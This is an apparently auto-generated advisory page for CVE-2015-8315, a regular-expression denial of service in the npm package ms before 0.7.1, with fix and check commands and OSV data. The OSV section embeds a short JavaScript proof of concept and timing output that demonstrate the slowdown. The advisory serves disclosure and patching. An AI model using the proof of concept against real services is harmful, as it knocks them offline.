CVE-2015-8315: Ms Denial of Service Vulnerability
HIGHCVE-2015-8315 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Ms libraries in the npm ecosystem. The issue involves regular expression denial of service in ms. Remediation is available by upgrading affected packages to version 0.7.1.
CVE-2015-8315 at a Glance
Security Impact
CVSS: 7.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).
How to Fix CVE-2015-8315
To remediate this vulnerability, upgrade all affected Ms dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install ms@0.7.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls ms
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2015-8315, inspect your project dependencies using npm:
npm ls ms
Analyze the terminal output to locate any version of Ms in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.7.1), your application is affected.
Note: The npm ls ms command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Ms, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2015-8315 Affected Ms Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ms
|
npm |
< 0.7.1
|
0.7.1
|
References
Frequently Asked Questions
What is CVE-2015-8315?
Which Ms versions are affected?
What version fixes CVE-2015-8315?
Is ms affected?
What is the CVSS score of CVE-2015-8315?
What CWE is associated with CVE-2015-8315?
How can I check npm dependencies for CVE-2015-8315?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-3fx5-fwvr-xrjg",
"modified" : "2024-08-01T16:44:35Z",
"published" : "2017-10-24T18:33:36Z",
"aliases" : [ "CVE-2015-8315" ],
"summary" : "Regular Expression Denial of Service in ms",
"details" : "Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n var result = \"\";\n for (i=0; i<=len; i++) {\n result = result + chr;\n }\n\n return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "ms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.7.1"
} ]
} ]
} ],
"references" : [ {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2015-8315"
}, {
"type" : "WEB",
"url" : "https://github.com/unshiftio/millisecond"
}, {
"type" : "WEB",
"url" : "https://nodesecurity.io/advisories/46"
}, {
"type" : "WEB",
"url" : "https://support.f5.com/csp/article/K46337613?utm_source=f5support&%3Butm_medium=RSS"
}, {
"type" : "WEB",
"url" : "https://support.f5.com/csp/article/K46337613?utm_source=f5support&utm_medium=RSS"
}, {
"type" : "WEB",
"url" : "https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389"
}, {
"type" : "WEB",
"url" : "http://www.openwall.com/lists/oss-security/2016/04/20/11"
}, {
"type" : "WEB",
"url" : "http://www.securityfocus.com/bid/96389"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-1333", "CWE-400" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2020-06-16T20:55:05Z",
"nvd_published_at" : "2017-01-23T21:59:00Z"
}
}